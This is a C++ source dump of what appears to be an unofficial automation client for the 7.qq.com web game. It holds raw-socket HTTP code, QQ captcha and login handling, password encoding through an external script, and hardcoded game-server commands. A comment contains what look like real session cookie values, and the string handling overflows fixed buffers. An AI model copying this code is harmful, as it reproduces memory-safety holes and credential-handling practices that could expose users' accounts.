	    m_zstream.total_in  += (uLong)len;
	    m_zstream.total_out += (uLong)len;
        if (len == 0) m_z_eof = 1;
	    return (int)len;
	}
    if (m_zstream.avail_in == 0 && !m_z_eof)
	{
          errno = 0;
          m_zstream.avail_in = read(m_inbuf,Z_BUFSIZE);
          if (m_zstream.avail_in == 0)
		  {
             m_z_eof = 1;
		  }
          m_zstream.next_in = m_inbuf;
        }
        m_z_err = inflate(&(m_zstream), Z_NO_FLUSH);
	   if (m_z_err == Z_STREAM_END)
	   {
	    /* Check CRC and original size */
	    m_crc = crc32(m_crc, start, (uInt)(m_zstream.next_out - start));
	    start = m_zstream.next_out;
	    if (getLong() != m_crc) {
  		  m_z_err = Z_DATA_ERROR;
	    }else
		{
	       (void)getLong();
         	check_header();
		   if (m_z_err == Z_OK)
		   {
		    uLong total_in = m_zstream.total_in;
		    uLong total_out = m_zstream.total_out;
		    inflateReset(&(m_zstream));
		    m_zstream.total_in = total_in;
		    m_zstream.total_out = total_out;
		    m_crc = crc32(0L, Z_NULL, 0);
		}
	    }
	}
	if (m_z_err != Z_OK || m_z_eof) break;
    }
    m_crc = crc32(m_crc, start, (uInt)(m_zstream.next_out - start));
    return (int)(len - m_zstream.avail_out);
 }
 uLong getLong()
 {
    uLong x = (uLong)get_byte();
    int c;
    x += ((uLong)get_byte())<<8;
    x += ((uLong)get_byte())<<16;
    c = get_byte();
    if (c == EOF) m_z_err = Z_DATA_ERROR;
    x += ((uLong)c)<<24;
    return x;
 }
 int write(char* buf,int count)
 {
     if(buf==0) return 0;
	 if(Length+count>m_CurrentBufferSize)
	 {
	   int nTimes=(Length+count)/t_nBufferLength +1;
	   char *pTemp=psz;
	   psz=static_cast<char*>( malloc(nTimes*t_nBufferLength+1));
	   m_CurrentBufferSize=nTimes*t_nBufferLength;
	   memset(psz,0,m_CurrentBufferSize+1);
	   memcpy(psz,pTemp,Length);
	   if(pTemp!=m_buffer) free(pTemp);
	 }
	 memcpy(psz+Length,buf,count);
	 Length+=count;
	 return count;
 }
 int destroy()
 {
    int err = Z_OK;
	if (m_zstream.state != NULL) {
	    err = inflateEnd(&(m_zstream));
	}
    if (m_z_err < 0) err = m_z_err;
    TRYFREE(m_inbuf);
    return err;
}

};
typedef CGZIP2AT<> CGZIP2A;
#endif







源码/HttpRequest.cpp


源码/HttpRequest.cpp

// HttpRequest.cpp: implementation of the CHttpRequest class.


//


//////////////////////////////////////////////////////////////////////





#include "stdafx.h"


#include "7QW.h"


#include "HttpRequest.h"


#include "StaticFunctions.h"


#ifdef _DEBUG


#undef THIS_FILE


static char THIS_FILE[]=__FILE__;


#define new DEBUG_NEW


#endif





//////////////////////////////////////////////////////////////////////


// Construction/Destruction


//////////////////////////////////////////////////////////////////////





CHttpRequest::CHttpRequest()


{





}





CHttpRequest::~CHttpRequest()


{





}








void CHttpRequest::MemBufferCreate(TAG_MemBuffer *b)


{


    b->size = MEM_BUFFER_SIZE;


    b->buffer =(unsigned    char *) malloc( b->size );


    b->position = b->buffer;


}








void CHttpRequest::MemBufferGrow(TAG_MemBuffer *b)


{


    size_t sz;


    sz = b->position - b->buffer;


    b->size = b->size *2;


    b->buffer =(unsigned    char *) realloc(b->buffer,b->size);


    b->position = b->buffer + sz;   


}








void CHttpRequest::MemBufferAddByte(TAG_MemBuffer *b,unsigned char byt)


{


    if( (size_t)(b->position-b->buffer) >= b->size )


        MemBufferGrow(b);


    


    *(b->position++) = byt;


}








void CHttpRequest::MemBufferAddBuffer(TAG_MemBuffer *b,unsigned char *buffer, size_t size)


{


    while( ((size_t)(b->position-b->buffer)+size) >= b->size )


        MemBufferGrow(b);


    


    memcpy(b->position,buffer,size);


    b->position+=size;


}








DWORD CHttpRequest::GetHostAddress(LPCSTR host)


{


    struct hostent *phe;


    char *p;


    


    phe = gethostbyname( host );


    


    if(phe==NULL)


        return 0;


    


    p = *phe->h_addr_list;


    return *((DWORD*)p);


}





BOOL CHttpRequest::SendData(SOCKET sock, char *buffer, int bufferLen)


{


    int startPos;


    int ret;


    startPos=0;


    


    while(bufferLen>0)


    {


        ret=send(sock,buffer+startPos,bufferLen,0);


        if(ret==0)


            break;


        if(ret==SOCKET_ERROR)


        {


            


            if(WSAGetLastError()==WSAEWOULDBLOCK)


            {


                Sleep(50);


                continue;


            }   


            


            return FALSE;


            


        }


        startPos+=ret;


        bufferLen-=ret;


    }


    return bufferLen==0;


}





BOOL CHttpRequest::ValidHostChar(char ch)


{


    return( isalpha(ch) || isdigit(ch)


        || ch=='-' || ch=='.' || ch==':' );


}














void CHttpRequest::ParseURL(LPCSTR url,LPSTR protocol,int lprotocol,


                       LPSTR host,int lhost,LPSTR request,int lrequest,int *port)


{


    char *work,*ptr,*ptr2;


    


    *protocol = *host = *request = 0;


    *port=80;


    


    work = strdup(url);


    strupr(work);


    


    ptr = strchr(work,':');                         // find protocol if any


    if(ptr!=NULL)


    {


        *(ptr++) = 0;


        lstrcpyn(protocol,work,lprotocol);


    }


    else


    {


        lstrcpyn(protocol,"HTTP",lprotocol);


        ptr = work;


    }


    


    if( (*ptr=='/') && (*(ptr+1)=='/') )            // skip past opening /'s 


        ptr+=2;


    


    ptr2 = ptr;                                     // find host


    while( ValidHostChar(*ptr2) && *ptr2 )


        ptr2++;


    


    *ptr2=0;


    lstrcpyn(host,ptr,lhost);


    


    lstrcpyn(request,url + (ptr2-work),lrequest);   // find the request


    


    ptr = strchr(host,':');                         // find the port number, if any


    if(ptr!=NULL)


    {


        *ptr=0;


        *port = atoi(ptr+1);


    }


    


    free(work);


}








void CHttpRequest::SendRequest(bool IsPost, LPCSTR url, CString &psHeaderSend, CString &psHeaderReceive, CString &psMessage)


{


    TAG_HTTPRequest     req;


    int                 i,j,rtn;


    FILE                *fp;


    LPSTR               buffer;


    


    req.headerSend                          = NULL;


    req.headerReceive                       = NULL;


    req.message                             = NULL;


    


    //Read in arguments


    unsigned char chooseBuild[] ="\x03\x00\x00\x00\x01\x00\x16\x63\x61\x73\x74\x6C\x65\x41\x63\x74"


        "\x2E\x73\x65\x6C\x65\x63\x74\x43\x61\x73\x42\x75\x69\x00\x03\x2F"


        "\x33\x37\x00\x00\x00\x13\x0A\x00\x00\x00\x02\x11\x0C\x09\x30"


        "\x8C\xCB\x04\x11\x0C\x09\x32\x05\x43\x07";


    


    if(IsPost)


    {                                                   /* POST */


        i       = psHeaderSend.GetLength();


        buffer  = (char*) malloc(i+1);


        strcpy(buffer, (LPCTSTR)psHeaderSend);


        


        rtn             = SendHTTP( url,


            "Content-Type: application/x-www-form-urlencoded\r\n",


            (unsigned char*)chooseBuild,


            58,


            &req);


        


        free(buffer);


    }


    else                                                /* GET */


        rtn = SendHTTP(url,NULL,NULL,0,&req);


    


    


    if(!rtn)                                            //Output message and/or headerSend 


    {


        psHeaderSend        = req.headerSend;


        psHeaderReceive     = req.headerReceive;


        psMessage           = req.message;


        


        


        free(req.headerSend);


        free(req.headerReceive);


        free(req.message);


    }


    else


    {





        MessageBox(0, "Retrieve Failed", "", 0);


    }


}

















int CHttpRequest::SendHTTP(LPCSTR url,LPCSTR headers,BYTE *post,


        DWORD postLength,TAG_HTTPRequest *req,BOOL bRecvMsg)


{


    WSADATA         WsaData;


    SOCKADDR_IN     sin;


    SOCKET          sock;


    char            buffer[1024];


    char            protocol[20],host[256],request[1024];


    int             l,port,chars,err;


    TAG_MemBuffer   headersBuffer,messageBuffer;


    char            headerSend[2048];


    BOOL            done,bRet;


    


    DWORD dwlength;


    


    ParseURL(url,protocol,sizeof(protocol),host,sizeof(host),       


        request,sizeof(request),&port);


    if(strcmp(protocol,"HTTP"))


        return 1;


    


    err = WSAStartup (0x0101, &WsaData);                            


    if(err!=0)


        return 1;





    sock = socket (AF_INET, SOCK_STREAM, 0);


    


    if (sock == INVALID_SOCKET)


        return 1;


    


    


    sin.sin_family = AF_INET;                                       //Connect to web sever


    sin.sin_port = htons( (unsigned short)port );


    sin.sin_addr.s_addr = GetHostAddress(host);





    if( connect (sock,(LPSOCKADDR)&sin, sizeof(SOCKADDR_IN) ) )


    {


        


        return 1;


    }





    if( !*request )


        lstrcpyn(request,"/",sizeof(request));


    


    if( post == NULL )


    {


        


        strcpy(headerSend, "GET ");


    }


    else 


    {


        strcpy(headerSend, "POST ");


    }


    


    strcat(headerSend, request);


    strcat(headerSend, " HTTP/1.1\r\n");


    strcat(headerSend,headers);


//AfxMessageBox(headerSend);





    unsigned char httpost[4096];


    memset(httpost,0,4096);


    memcpy(httpost,headerSend,strlen(headerSend));


    memcpy(httpost+strlen(headerSend),post,postLength);


    dwlength=strlen(headerSend)+postLength;


    CString xx;


    xx.Format("%d,%d",dwlength,strlen(headerSend));


//


    //AfxMessageBox(xx);


//  ::Sleep(10);


/*  CFile file;


    CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"data.txt";


    file.Open(FileName,CFile::modeCreate|CFile::modeWrite);


    file.SeekToBegin();


    file.Write(httpost,dwlength);//CString m_data


    file.Flush();


    file.Close();*/


    


    bRet=SendData(sock,(char *)httpost,dwlength);





    if(!bRet)


    return 1;





    //接收req头部


    MemBufferCreate(&headersBuffer);


    chars = 0;


    done = FALSE;


    CString x;


    while(!done)


    {


        l = recv(sock,buffer,1,0);


    


        if(l<0)


            done=TRUE;


        


        switch(*buffer)


        {


        case '\r':


            break;


        case '\n':


            if(chars==0)


                done = TRUE;


            chars=0;


            break;


        default:


            chars++;


            break;


        }


        


        MemBufferAddByte(&headersBuffer,*buffer);


    }





    req->headerReceive  = (char*) headersBuffer.buffer;


    *(headersBuffer.position) = 0;


    


    MemBufferCreate(&messageBuffer);


    memset(buffer,0,1024);


if(bRecvMsg)


{





    


    do


    {


        l = recv(sock,buffer,sizeof(buffer)-1,0);


        


        if(l<0)


            break;


        *(buffer+l)=0;


        MemBufferAddBuffer(&messageBuffer, (unsigned char*)&buffer, l);


    } while(l>0);


    


    *messageBuffer.position = 0;


    req->message = (char*) messageBuffer.buffer;


    req->messageLength = (messageBuffer.position - messageBuffer.buffer);


}








    closesocket(sock);                                      


    


    return 0;


}

















SOCKET CHttpRequest::_KeepCookies(LPCSTR url, LPCSTR headers, BYTE *post, DWORD postLength, TAG_HTTPRequest *req)


{


    WSADATA         WsaData;


    SOCKADDR_IN     sin;


    SOCKET          sock;


    char            buffer[1024];


    char            protocol[20],host[256],request[1024];


    int             l,port,chars,err;


    TAG_MemBuffer   headersBuffer,messageBuffer;


    char            headerSend[2048];


    BOOL            done,bRet;


    


    DWORD dwlength;


    


    ParseURL(url,protocol,sizeof(protocol),host,sizeof(host),       


        request,sizeof(request),&port);


    if(strcmp(protocol,"HTTP"))


        return 1;


    


    err = WSAStartup (0x0101, &WsaData);                            


    if(err!=0)


        return 1;


    


    sock = socket (AF_INET, SOCK_STREAM, 0);


    


    if (sock == INVALID_SOCKET)


        return 1;





    


    sin.sin_family = AF_INET;                                       //Connect to web sever


    sin.sin_port = htons( (unsigned short)port );


    sin.sin_addr.s_addr = GetHostAddress(host);


    


    if( connect (sock,(LPSOCKADDR)&sin, sizeof(SOCKADDR_IN) ) )


    {


        


        return 1;


    }





    if( !*request )


        lstrcpyn(request,"/",sizeof(request));


    


    if( post == NULL )


    {


        


        strcpy(headerSend, "GET ");


    }


    else 


    {


        strcpy(headerSend, "POST ");


    }


    


    strcat(headerSend, request);


    strcat(headerSend, " HTTP/1.1\r\n");


    strcat(headerSend,headers);


//AfxMessageBox(headerSend);





    unsigned char httpost[4096];


    memset(httpost,0,4096);


    memcpy(httpost,headerSend,strlen(headerSend));


    memcpy(httpost+strlen(headerSend),post,postLength);


    dwlength=strlen(headerSend)+postLength;


    CString xx;


    xx.Format("%d,%d",dwlength,strlen(headerSend));


//


    //AfxMessageBox(xx);


//  ::Sleep(10);


/*  CFile file;


    CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"data.txt";


    file.Open(FileName,CFile::modeCreate|CFile::modeWrite);


    file.SeekToBegin();


    file.Write(httpost,dwlength);//CString m_data


    file.Flush();


    file.Close();*/


    


    bRet=SendData(sock,(char *)httpost,dwlength);





    if(!bRet)


    return 1;





    //接收req头部


    MemBufferCreate(&headersBuffer);


    chars = 0;


    done = FALSE;


    CString x;


    while(!done)


    {


        l = recv(sock,buffer,1,0);


    


        if(l<0)


            done=TRUE;


        


        switch(*buffer)


        {


        case '\r':


            break;


        case '\n':


            if(chars==0)


                done = TRUE;


            chars=0;


            break;


        default:


            chars++;


            break;


        }


        


        MemBufferAddByte(&headersBuffer,*buffer);


    }





    req->headerReceive  = (char*) headersBuffer.buffer;


    *(headersBuffer.position) = 0;


    


//  AfxMessageBox(req->headerReceive);





/*  MemBufferCreate(&messageBuffer);


    memset(buffer,0,1024);


    


    do


    {


        l = recv(sock,buffer,sizeof(buffer)-1,0);


        


        if(l<0)


            break;


        *(buffer+l)=0;


        MemBufferAddBuffer(&messageBuffer, (unsigned char*)&buffer, l);


    } while(l>0);


    


    *messageBuffer.position = 0;


    req->message = (char*) messageBuffer.buffer;


    req->messageLength = (messageBuffer.position - messageBuffer.buffer);








   // closesocket(sock);    */                                  


    


    return sock;


}





SOCKET CHttpRequest::_SendPostData(SOCKET sock, LPCSTR url, LPCSTR headers, BYTE *post, DWORD postLength, TAG_HTTPRequest *req)


{


    WSADATA         WsaData;


    SOCKADDR_IN     sin;


  //  SOCKET            sock;


    char            buffer[1024];


    char            protocol[20],host[256],request[1024];


    int             l,port,chars,err;


    TAG_MemBuffer   headersBuffer,messageBuffer;


    char            headerSend[2048];


    BOOL            done,bRet;


    


    DWORD dwlength;


    


    ParseURL(url,protocol,sizeof(protocol),host,sizeof(host),       


        request,sizeof(request),&port);


    if(strcmp(protocol,"HTTP"))


        return 1;


    


    /*err = WSAStartup (0x0101, &WsaData);                          


    if(err!=0)


        return 1;


    


    sock = socket (AF_INET, SOCK_STREAM, 0);


    


    if (sock == INVALID_SOCKET)


        return 1;





    


    sin.sin_family = AF_INET;                                       //Connect to web sever


    sin.sin_port = htons( (unsigned short)port );


    sin.sin_addr.s_addr = GetHostAddress(host);


    


    if( connect (sock,(LPSOCKADDR)&sin, sizeof(SOCKADDR_IN) ) )


    {


        


        return 1;


    }*/





    if( !*request )


        lstrcpyn(request,"/",sizeof(request));


    


    if( post == NULL )


    {


        


        strcpy(headerSend, "GET ");


    }


    else 


    {


        strcpy(headerSend, "POST ");


    }


    


    strcat(headerSend, request);


    strcat(headerSend, " HTTP/1.1\r\n");


    strcat(headerSend,headers);


//AfxMessageBox(headerSend);





    unsigned char httpost[4096];


    memset(httpost,0,4096);


    memcpy(httpost,headerSend,strlen(headerSend));


    memcpy(httpost+strlen(headerSend),post,postLength);


    dwlength=strlen(headerSend)+postLength;


    CString xx;


    xx.Format("%d,%d",dwlength,strlen(headerSend));


//


    //AfxMessageBox(xx);


//  ::Sleep(10);


/*  CFile file;


    CString FileName="f:\\"+CStaticFunctions::GetCurrentTimeStr()+"data.txt";


    file.Open(FileName,CFile::modeCreate|CFile::modeWrite);


    file.SeekToBegin();


    file.Write(httpost,dwlength);//CString m_data


    file.Flush();


    file.Close();*/


    


    bRet=SendData(sock,(char *)httpost,dwlength);





    if(!bRet)


    return 1;





    //接收req头部


    MemBufferCreate(&headersBuffer);


    chars = 0;


    done = FALSE;


    CString x;


    while(!done)


    {


        l = recv(sock,buffer,1,0);


    


        if(l<0)


            done=TRUE;


        


        switch(*buffer)


        {


        case '\r':


            break;


        case '\n':


            if(chars==0)


                done = TRUE;


            chars=0;


            break;


        default:


            chars++;


            break;


        }


        


        MemBufferAddByte(&headersBuffer,*buffer);


    }





    req->headerReceive  = (char*) headersBuffer.buffer;


    *(headersBuffer.position) = 0;


    


//  AfxMessageBox(req->headerReceive);





    MemBufferCreate(&messageBuffer);


    memset(buffer,0,1024);


    


    do


    {


        l = recv(sock,buffer,sizeof(buffer)-1,0);


        


        if(l<0)


            break;


        *(buffer+l)=0;


        MemBufferAddBuffer(&messageBuffer, (unsigned char*)&buffer, l);


    } while(l>0);


    


    *messageBuffer.position = 0;


    req->message = (char*) messageBuffer.buffer;


    req->messageLength = (messageBuffer.position - messageBuffer.buffer);











   // closesocket(sock);                                        


    


    return sock;


}








源码/HttpRequest.h

// HttpRequest.h: interface for the CHttpRequest class.
//
//////////////////////////////////////////////////////////////////////

#if !defined(AFX_HTTPREQUEST_H__E0F3E82A_329F_4450_B13F_66BFF883EE5A__INCLUDED_)
#define AFX_HTTPREQUEST_H__E0F3E82A_329F_4450_B13F_66BFF883EE5A__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <winsock2.h>

#define MEM_BUFFER_SIZE 10

typedef struct
{ 
    LPSTR headerSend;								// Pointer to HTTP header Send 
	LPSTR headerReceive;							// Pointer to HTTP headers Receive
    LPSTR message;									// Pointer to the HTTP message 
    long  messageLength;								// Length of the message 
} TAG_HTTPRequest;


typedef struct
{
    unsigned	char *buffer;
    unsigned	char *position;
    size_t		size;
} TAG_MemBuffer;


class CHttpRequest  
{
public:
	CHttpRequest();
	virtual ~CHttpRequest();
		int			SendHTTP(LPCSTR url,LPCSTR headers,BYTE *post, DWORD postLength,TAG_HTTPRequest *req,BOOL bRecvMsg=TRUE);
private:
	void		MemBufferCreate(TAG_MemBuffer *b);
	void		MemBufferGrow(TAG_MemBuffer *b);
	void		MemBufferAddByte(TAG_MemBuffer *b, unsigned char byt);
	void		MemBufferAddBuffer(TAG_MemBuffer *b, unsigned char *buffer, size_t size);
	DWORD		GetHostAddress(LPCSTR host);
	void		SendString(SOCKET sock,LPCSTR str);
	BOOL		ValidHostChar(char ch);
	void		ParseURL(LPCSTR url,LPSTR protocol,int lprotocol, LPSTR host,int lhost,LPSTR request,int lrequest,int *port);
	

	
public:
	SOCKET _SendPostData(SOCKET sock,LPCSTR url, LPCSTR headers, BYTE *post, DWORD postLength, TAG_HTTPRequest *req);
	SOCKET _KeepCookies(LPCSTR url,LPCSTR headers,BYTE *post,DWORD postLength,TAG_HTTPRequest *req);
	BOOL		SendData(SOCKET sock, char *buffer, int bufferLen);
	void		SendRequest(bool IsPost, LPCSTR url, CString &psHeaderSend, CString &psHeaderReceive, CString &psMessage);
};

#endif // !defined(AFX_HTTPREQUEST_H__E0F3E82A_329F_4450_B13F_66BFF883EE5A__INCLUDED_)
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源码/LoginDlg.cpp

// LoginDlg.cpp : implementation file


//





#include "stdafx.h"


#include "7QW.h"


#include "LoginDlg.h"


#include "HttpRequest.h"


#include "SafeArrayHelper.h"


#include "StaticFunctions.h"


#include <mshtml.h>


#include <ExDisp.h>


#include   <comdef.h>


#include "MainFrm.h"


#include "amf_static.h"


#include "7wAmfCmd.h"





#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////


// CLoginDlg dialog





UINT CLoginDlg::m_ucount=0;


CLoginDlg::CLoginDlg(CWnd* pParent /*=NULL*/)


    : CDialog(CLoginDlg::IDD, pParent)


{


    //{{AFX_DATA_INIT(CLoginDlg)


    //}}AFX_DATA_INIT








    m_strptvfsession="";


    m_strverify="";


    m_bPic=FALSE;


    m_strQQid="";


    m_strpt2gguin="";


    m_strskey="";


    m_strptisp="";


    m_strptuserinfo="";


    m_strptcz="";


    m_strDomain="645";


    m_strJsessionID="";


    m_strAmfQuery="";








}








void CLoginDlg::DoDataExchange(CDataExchange* pDX)


{


    CDialog::DoDataExchange(pDX);


    //{{AFX_DATA_MAP(CLoginDlg)


    DDX_Control(pDX, IDC_EDIT3, m_edit3);


    DDX_Control(pDX, IDC_STATIC1, m_static);


    DDX_Control(pDX, IDC_EDIT4, m_edit4);


    DDX_Control(pDX, IDC_EDIT2, m_edit2);


    DDX_Control(pDX, IDC_EDIT1, m_edit1);


    //}}AFX_DATA_MAP


}








BEGIN_MESSAGE_MAP(CLoginDlg, CDialog)


    //{{AFX_MSG_MAP(CLoginDlg)


    ON_BN_CLICKED(IDC_BUTTON1, OnButton1)


    ON_WM_ERASEBKGND()


    ON_BN_CLICKED(IDC_BUTTON2, OnButton2)


    ON_BN_CLICKED(IDC_BUTTON6, OnButton6)


    //}}AFX_MSG_MAP


END_MESSAGE_MAP()





/////////////////////////////////////////////////////////////////////////////


// CLoginDlg message handlers





void CLoginDlg::OnButton1() 


{


    


    //如果是图片验证


    if(m_bPic)


    {


        ::CreateThread(NULL, 0, _PictureThreadProc, this, 0, NULL);


        return;


    }else


    {


        ::CreateThread(NULL, 0, _NormalThreadProc, this, 0, NULL);


    


    }








}








BOOL CLoginDlg::OnInitDialog() 


{


    CDialog::OnInitDialog();


    


    // TODO: Add extra initialization here


    m_edit1.SetWindowText("");


    m_edit2.SetWindowText("");


    m_edit3.SetWindowText("");








    return TRUE;  // return TRUE unless you set the focus to a control


                  // EXCEPTION: OCX Property Pages should return FALSE


}





void CLoginDlg::GetVerifyStr(CString str,CString& str1,CString& str2)


{








    CString m_char=",";


    CString lstr,rstr;


    if (!m_char.IsEmpty())


    {


        int index = str.Find(m_char);


        rstr = str.Right(str.GetLength()-index-1);


        lstr=str.Left(index);


    }





    rstr=rstr.Mid(rstr.Find("'")+1,rstr.ReverseFind('\'')-1);


    lstr=lstr.Mid(lstr.Find("'")+1,1);


    str1=lstr;


    str2=rstr;





    return;


}





CString CLoginDlg::GetPtvSession(CString str)


{





    int i=str.Find("ptvfsession");


    int j=str.Find("PATH");


    CString temp=str.Mid(i,j-i);


    int m=temp.Find("=");


    int n=temp.Find(";");


    temp=temp.Mid(m+1,n-m-1);


    return temp;


}





CString CLoginDlg::GetUiKey(CString str)


{





    int i=str.Find("uikey");


    int j=str.Find("Last-Modified");





    


    CString temp=str.Mid(i,j-i);


    int m=temp.Find("=");


    int n=temp.Find(";");


    CString temp2=temp.Mid(m+1,n-m-1);


    return temp2;





}





CString CLoginDlg::GetLoginParam(CString str)


{


    int i=str.Find("login_param");


    int j=str.Find("PATH");


    CString temp=str.Mid(i,j-i);


    int m=temp.Find("=");


    int n=temp.Find(";");


    CString temp2=temp.Mid(m+1,n-m-1);


    return temp2;


}





CString CLoginDlg::GetCookie()


{








    return "";


}











CString CLoginDlg::GetPgv_Pvid(CString strcookie)


{








    CString strSub;


    AfxExtractSubString(strSub, (LPCTSTR)strcookie, 1, ';');


    CString x=strSub.Right(strSub.GetLength()-strSub.Find("=")-1);








    int i=strcookie.Find("pgv_pvid");


     x=strcookie.Right(strcookie.GetLength()-i);


    i=x.Find("=");


    int j=x.Find(";");


    CString sret;


    if(j==-1)


    {


        sret=x.Mid(i+1,x.GetLength());


        


    }else


    {


        sret=x.Mid(i+1,j-i-1);


    }


    return sret;








}





CString CLoginDlg::GetPgv_Info(CString strcookie)


{








    int i=strcookie.Find("ssid");


    CString x=strcookie.Right(strcookie.GetLength()-i);


     i=x.Find("=");


    int j=x.Find(";");


    CString sret;


    if(j==-1)


    {


        sret=x.Mid(i+1,x.GetLength());





    }else


    {


        sret=x.Mid(i+1,j-i-1);


    }


    return x;


}





CString CLoginDlg::GetVerifySession(CString strQQid)


{   


    


    


    TAG_HTTPRequest     req;


    CHttpRequest  hrq;


    CString strUrl,strHeader,strlog,strtemp,strpath;


    int iret;


    strUrl.Format("http://captcha.qq.com/getimage?aid=39000301&r=0.46298184193833674&uin=%s&vc_type=96587183188cae75eb01051705c4923b84fa02f157bdaa09",strQQid);


    


    


    strHeader="Accept: */*\r\n"\


        "Referer: http://ui.ptlogin2.qq.com/cgi-bin/login?appid=39000301&no_verifyimg=1&f_url=loginerroralert&css=http%%3A//7.qq.com/web201006/jscss/login.css&hide_title_bar=1&s_url=http%%3A//game.7.qq.com/index.shtml\r\n"\


        "Accept-Language: zh-cn\r\n"\


        "UA-CPU: x86\r\n"\


        "Accept-Encoding: gzip, deflate\r\n"\


        "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\r\n"\


        "Host: captcha.qq.com\r\n"\


        "Connection: Keep-Alive\r\n"\


        "Cookie: pgv_pvid=3205207264; ptui_width=300; ptui_height=143; pt2gguin=o0042523276; pgv_info=pgvReferrer=&ssid=s5914559196\r\n\r\n";


    


    iret=hrq.SendHTTP(strUrl.GetBuffer(0),strHeader.GetBuffer(0),NULL,0,&req);


    if(!iret)


    {


        strlog.Format("获取图片验证码成功,%s",strQQid);


        SetMainFrameLog(strlog,0);


    }else


    {


        strlog.Format("获取图片验证码失败,%s",strQQid);


        SetMainFrameLog(strlog,0);


        return "";


    }


    strtemp=req.headerReceive;


    ///保存jpg图片验证码到本地


    CFile file;


    CStaticFunctions::GetWorkPath(strpath);


    CString FileName=strpath+CStaticFunctions::GetCurrentTimeStr()+".jpg";


    file.Open(FileName,CFile::modeCreate|CFile::modeWrite);


    file.SeekToBegin();


    file.Write(req.message,req.messageLength);//CString m_data


    file.Flush();


    file.Close();


    HBITMAP hBitmap=LoadALLPIC(FileName);//如sPath＝"D:\\f.gif"


    


    CStatic   *pStatic   =   (CStatic   *)GetDlgItem(IDC_STATIC1); //显示在CStatic上


    pStatic->ModifyStyle(0xF,SS_BITMAP);  


    pStatic->SetBitmap(hBitmap);  








    /////////////////////////////////////////////////////////////////





    //得到图片验证的verifysession


    int i=strtemp.Find("verifysession");


    int j=strtemp.Find("PATH");


    CString temp=strtemp.Mid(i,j-i);


    int m=temp.Find("=");


    int n=temp.Find(";");


    temp=temp.Mid(m+1,n-m-1);





    return temp;


}





BOOL CLoginDlg::OnEraseBkgnd(CDC* pDC) 


{


    // TODO: Add your message handler code here and/or call default





    return CDialog::OnEraseBkgnd(pDC);


}





HBITMAP CLoginDlg::LoadALLPIC(CString strFileName)


{


    IPicture* p=NULL;


    IStream* s=NULL;


    HGLOBAL hG;


    void* pp;


    FILE* fp;


    // Read file in memory


    fp = fopen(strFileName,"rb");//打开文件


    //fp = fopen("D:\\7.gif","rb");


    if (!fp)


        return NULL;


    else{


        // MessageBox("打开文件成功!");


    }


    fseek(fp,0,SEEK_END);


    int fs = ftell(fp);


    fseek(fp,0,SEEK_SET);


    hG = GlobalAlloc(GPTR,fs);


    if (!hG)


    {


        fclose(fp);


        return NULL;


    }


    pp = (void*)hG;


    fread(pp,1,fs,fp);


    fclose(fp);


    


    CreateStreamOnHGlobal(hG,false,&s);


    if (!s)


    {


        GlobalFree(hG);


        return NULL;


    }


    


    OleLoadPicture(s,0,false,IID_IPicture,(void**)&p);


    


    if (!p)


    {


        s->Release();


        GlobalFree(hG);


        return NULL;


    }


    


    s->Release();


    GlobalFree(hG);


    


    HBITMAP hB = 0;


    p->get_Handle((unsigned int*)&hB);


    


    // Copy the image.Necessary, because upon p's release,


    // the handle is destroyed.


    HBITMAP hBB = (HBITMAP)CopyImage(hB,IMAGE_BITMAP,0,0,LR_COPYRETURNORG );


    


    p->Release();


    return hBB;


    





}











void CLoginDlg::SetMainFrameLog(CString log, int state)


{


    CMainFrame *pfm=(CMainFrame *)AfxGetMainWnd();


    pfm->SetLogString(log,state);


}





CString CLoginDlg::GetEncPsw(CString strPsw, CString strVfy)


{       


    CString strlog,strEncPsw,strProc,strError,strpath;


    strEncPsw="";


    CScriptObject   m_ScriptObj;    


    CStaticFunctions::GetWorkPath(strpath);


    strpath=strpath+"\\Xlogin.js";


    m_ScriptObj.Reset();





    m_ScriptObj.LoadScript(strpath);


    strProc="preprocess";


    CSafeArrayHelper sfHelper;





    try{


        _variant_t var,var2;


        if (strProc.IsEmpty())


            sfHelper.Create(VT_VARIANT, 1, 0, 0);   // (void) parameter


        else


        {


            sfHelper.Create(VT_VARIANT, 1, 0, 2);   // 1 parameter


            var = _bstr_t(strVfy);//验证码


            var2=_bstr_t(strPsw);//qq密码


        }


        sfHelper.PutElement(0, (void*)&var);    // parameter1 -> index 0


        sfHelper.PutElement(1,(void*)&var2);


        LPSAFEARRAY sa =  sfHelper.GetArray();


        _variant_t varRet;


        if (m_ScriptObj.RunProcedure(strProc, &sa, &varRet))


        {


            strEncPsw=(LPCTSTR)_bstr_t(varRet);


            strlog.Format("密码加密成功:%s,%s",strVfy,strEncPsw);


        


            SetMainFrameLog(strlog,0);


        }


        


        else


        {


            strError = m_ScriptObj.GetErrorString();


            strlog.Format("密码加密失败:%s,%s",strVfy,strError);


            SetMainFrameLog(strlog,0);


        }


    }


    catch(...)


    {


        strError = m_ScriptObj.GetErrorString();


        strlog.Format("密码加密失败:%s",strError);


        SetMainFrameLog(strlog,0);


    }





    return strEncPsw;





}








void CLoginDlg::PostNcDestroy() 


{


    // TODO: Add your specialized code here and/or call the base class


    AfxGetMainWnd()->SendMessage(WM_LOGINDLG_DESTORYED,0,0);    


    CDialog::PostNcDestroy();


    delete this;





}


void  CLoginDlg::OnCancel() 


{


    // TODO: Add extra cleanup here


    DestroyWindow();


}











void CLoginDlg::OnButton2() 


{


    // TODO: Add your control notification handler code here


    GetVerifySession(m_strQQid);


}





UINT CLoginDlg::Get5LoginCookies(CString str, CString &str1, CString &str2, CString &str3, CString &str4, CString &str5)


{





//  Set-Cookie: pt2gguin=o0042523276; EXPIRES=Fri, 02-Jan-2020 00:00:00 GMT; PATH=/; DOMAIN=qq.com;


//  Set-Cookie: uin=o0042523276; PATH=/; DOMAIN=qq.com;


//  Set-Cookie: skey=@6h7N1wHGl; PATH=/; DOMAIN=qq.com;


//  Set-Cookie: clientuin=; EXPIRES=Fri, 02-Jan-1970 00:00:00 GMT; PATH=/; DOMAIN=qq.com;


//  Set-Cookie: clientkey=; EXPIRES=Fri, 02-Jan-1970 00:00:00 GMT; PATH=/; DOMAIN=qq.com;


